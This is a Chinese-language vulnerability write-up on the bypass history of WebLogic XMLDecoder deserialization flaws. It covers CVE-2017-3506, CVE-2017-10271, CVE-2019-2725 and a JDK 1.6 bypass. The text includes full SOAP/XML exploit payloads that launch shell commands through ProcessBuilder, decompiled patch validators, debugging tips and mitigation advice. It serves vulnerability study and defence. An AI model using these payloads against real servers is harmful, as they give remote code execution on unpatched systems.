从CVE-2019-2725绕过谈Weblogic XML RCE的绕过史
字数 1429 2025-08-18 11:38:45
WebLogic XMLDecoder反序列化漏洞分析与绕过史
1. XMLDecoder基础
XMLDecoder是Java提供的一个类,用于读取使用XMLEncoder创建的XML文档,功能类似于ObjectInputStream。其基本用法如下:
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));
Object result = d.readObject();
d.close();
1.1 XMLDecoder解析流程
XMLDecoder解析XML文件的基本流程:
- 解析XML标签,为每个标签创建对应的ElementHandler
- 通过一系列Handler的getValueObject调用
- 最终将标签内的值传给Expression类
- 调用getValue方法返回对象实例
1.2 基本PoC示例
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ls</string>
</void>
</array>
<void method="start"/>
</object>
</java>
2. WebLogic XMLDecoder漏洞史
2.1 CVE-2017-3506
漏洞描述:首个WebLogic XMLDecoder反序列化漏洞
PoC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
补丁分析:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
2.2 CVE-2017-10271
绕过方法:使用void标签替代object标签
PoC:
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</void>
</java>
补丁分析:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
2.3 CVE-2019-2725
漏洞组件:_async组件
利用条件:
- 需要添加WS-Addressing头
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
绕过方法:使用oracle.toplink.internal.sessions.UnitOfWorkChangeSet类进行二次反序列化
PoC:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="8970">
<void index="0">
<byte>-84</byte>
</void>
</array>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
补丁分析:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var12) {
throw new IllegalStateException(var12);
}
}
}
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
2.4 CVE-2019-2725绕过
利用条件:仅适用于JDK 1.6
绕过方法:使用array method="forName"绕过class标签限制
PoC:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="3748"></array>
</void>
</array>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
JDK 1.6 XMLDecoder特性:
- 代码更简单,没有复杂的ElementHandler
- 标签处理更宽松,允许array标签使用method属性
- 自动补全class属性
3. 漏洞分析技巧
3.1 动态生成类分析
对于使用二次反序列化的攻击,可以通过以下方法分析攻击者代码:
- 开启WebLogic远程调试,断点打在ProcessBuilder类的start函数
- 使用
jps -l命令查看WebLogic的PID - 运行
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB查看对应PID的内存 - 搜索内存中的动态生成类,生成class文件并反编译
3.2 7u21模块分析
7u21模块利用的关键点:
- 通过将TemplatesImpl对象的_bytecodes变量动态生成为对象
- 该类的static block和构造函数会自动执行
- 攻击者可以完全控制这个类的代码
4. 防御建议
- 保持JDK高版本:高版本JDK能有效防范Java反序列化攻击
- 删除不必要组件:对于基本用不到的WebLogic组件,能删就删
- 及时应用补丁:关注Oracle官方安全公告,及时应用安全补丁
- 网络隔离:将WebLogic服务器放置在受保护的网络区域
5. 总结
WebLogic XMLDecoder反序列化漏洞的演变过程展示了安全攻防的典型模式:
- 初始漏洞被发现(CVE-2017-3506)
- 简单补丁被绕过(CVE-2017-10271)
- 更严格的补丁导致攻击者寻找新的利用方式(CVE-2019-2725)
- 最终利用范围被限制到特定环境(仅JDK 1.6)
随着补丁的不断完善,漏洞利用的门槛越来越高,保持系统更新是防范此类漏洞的最有效方法。